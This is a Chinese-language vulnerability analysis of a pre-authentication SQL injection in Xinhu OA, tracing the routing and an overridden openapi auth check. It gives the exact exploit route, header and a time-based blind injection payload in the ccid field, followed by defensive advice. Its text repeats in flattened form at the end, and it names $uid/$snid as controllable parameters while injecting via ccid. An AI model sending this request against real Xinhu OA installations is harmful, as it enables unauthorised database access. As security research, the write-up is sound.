信呼OA前台sql注入分析
字数 1301 2025-09-01 11:26:11

信呼OA前台SQL注入漏洞分析与利用

1. 系统框架与路由分析

1.1 入口文件分析

系统入口文件为index.php,主要包含以下关键组件:

  • config.php:包含数据库配置文件
  • rockClass类:提供基础过滤功能

1.2 路由处理机制

路由处理主要通过以下流程:

  1. 获取URL参数:

    $_uurl = $rock->get('rewriteurl');
    
  2. get函数处理逻辑:

    • 参数可控,第一个参数为GET参数名
    • 经过jmuncode函数处理
    • 包含SQL注入和XSS防御机制
  3. 路由解析:

    • 如果$_uurl不为空,清除m,d,a参数
    • $_uurl赋值给$m,并以_为分隔符解析为数组
  4. 最终包含view.php进行路由分发

1.3 路由格式解析

路由格式主要通过以下参数控制:

  • $p:固定为webmain
  • $m:模块名,格式可为123|abc(123为$m,abc为$_m
  • $d:目录名
  • $a:方法名
  • $ajaxbool:决定调用Ajax还是Action方法

路由示例1(登录):

?m=login
对应文件:webmain/login/loginAction.php
方法:check (ajaxbool=true)

路由示例2(多级目录):

?a=getrecord&d=task&m=reim|api&ajaxbool=false
对应文件:webmain/task/api/reimAction.php
方法:getrecordAction

2. 鉴权机制分析

系统主要有三类父类实现鉴权:

2.1 apiAction类

  • 使用initAction方法鉴权
  • 子类示例:deptClassAction
  • 自动触发initAction方法

2.2 openapiAction类

  • 同样使用initAction方法鉴权
  • 比较传入的openkey与数据库值

2.3 Action类

  • 使用initProject方法鉴权
  • 在构造函数中自动触发

重要特性:子类可以重写父类的鉴权方法,如果子类重写了鉴权方法,则执行子类的方法。

3. 漏洞分析

3.1 漏洞位置

漏洞位于:

webmain/model/kqjcmdModel.php

中的savefingerprint函数

3.2 漏洞参数

  • 可控参数:
    • $uid:完全可控
    • $snid:可控但做了int转换

3.3 漏洞触发链

  1. 调用流程:

    postdata() -> savefingerprint() -> rows()
    
  2. 关键调用点:

    • webmain/task/openapi/openkqjAction.php中的initAction方法
    • 该方法重写了父类的鉴权方法,导致未授权访问

3.4 漏洞利用条件

  1. 请求头设置:

    Content-Type: application/json
    
  2. POST数据要求:

    • 需要满足if($dtype=='fingerprint')条件
    • 需要两层JSON结构:
      {
          "data": {
              "dtype": "fingerprint",
              "ccid": "注入点"
          }
      }
      

4. 漏洞复现与利用

4.1 利用步骤

  1. 构造请求路由:

    POST /index.php?a=savefingerprint&d=task&m=openkqj|openapi&ajaxbool=true
    
  2. 设置请求头:

    Content-Type: application/json
    
  3. 构造恶意POST数据:

    {
        "data": {
            "dtype": "fingerprint",
            "ccid": "1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- "
        }
    }
    

4.2 注入点说明

  • ccid参数存在SQL注入
  • 由于系统有基础过滤,需要绕过:
    • 使用报错注入或时间盲注
    • 避免使用明显的关键字

5. 防御建议

  1. 代码层面:

    • ccid参数进行严格的类型检查和过滤
    • 避免在模型中直接拼接SQL语句
  2. 架构层面:

    • 统一鉴权机制,避免子类随意重写
    • 使用预编译语句或ORM框架
  3. 运维层面:

    • 及时更新补丁
    • 部署WAF防护

6. 总结

该漏洞源于:

  1. 鉴权方法可被重写导致未授权访问
  2. 模型层直接拼接用户输入导致SQL注入
  3. 参数过滤不严格

利用该漏洞需要:

  • 正确构造路由
  • 设置特定的Content-Type
  • 构造多层JSON结构
  • ccid参数处注入
信呼OA前台SQL注入漏洞分析与利用 1. 系统框架与路由分析 1.1 入口文件分析 系统入口文件为 index.php ,主要包含以下关键组件: config.php :包含数据库配置文件 rockClass 类:提供基础过滤功能 1.2 路由处理机制 路由处理主要通过以下流程: 获取URL参数: get 函数处理逻辑: 参数可控,第一个参数为GET参数名 经过 jmuncode 函数处理 包含SQL注入和XSS防御机制 路由解析: 如果 $_uurl 不为空,清除 m,d,a 参数 将 $_uurl 赋值给 $m ,并以 _ 为分隔符解析为数组 最终包含 view.php 进行路由分发 1.3 路由格式解析 路由格式主要通过以下参数控制: $p :固定为 webmain $m :模块名,格式可为 123|abc (123为 $m ,abc为 $_m ) $d :目录名 $a :方法名 $ajaxbool :决定调用 Ajax 还是 Action 方法 路由示例1(登录): 路由示例2(多级目录): 2. 鉴权机制分析 系统主要有三类父类实现鉴权: 2.1 apiAction类 使用 initAction 方法鉴权 子类示例: deptClassAction 自动触发 initAction 方法 2.2 openapiAction类 同样使用 initAction 方法鉴权 比较传入的 openkey 与数据库值 2.3 Action类 使用 initProject 方法鉴权 在构造函数中自动触发 重要特性 :子类可以重写父类的鉴权方法,如果子类重写了鉴权方法,则执行子类的方法。 3. 漏洞分析 3.1 漏洞位置 漏洞位于: 中的 savefingerprint 函数 3.2 漏洞参数 可控参数: $uid :完全可控 $snid :可控但做了int转换 3.3 漏洞触发链 调用流程: 关键调用点: webmain/task/openapi/openkqjAction.php 中的 initAction 方法 该方法重写了父类的鉴权方法,导致未授权访问 3.4 漏洞利用条件 请求头设置: POST数据要求: 需要满足 if($dtype=='fingerprint') 条件 需要两层JSON结构: 4. 漏洞复现与利用 4.1 利用步骤 构造请求路由: 设置请求头: 构造恶意POST数据: 4.2 注入点说明 ccid 参数存在SQL注入 由于系统有基础过滤,需要绕过: 使用报错注入或时间盲注 避免使用明显的关键字 5. 防御建议 代码层面: 对 ccid 参数进行严格的类型检查和过滤 避免在模型中直接拼接SQL语句 架构层面: 统一鉴权机制,避免子类随意重写 使用预编译语句或ORM框架 运维层面: 及时更新补丁 部署WAF防护 6. 总结 该漏洞源于: 鉴权方法可被重写导致未授权访问 模型层直接拼接用户输入导致SQL注入 参数过滤不严格 利用该漏洞需要: 正确构造路由 设置特定的Content-Type 构造多层JSON结构 在 ccid 参数处注入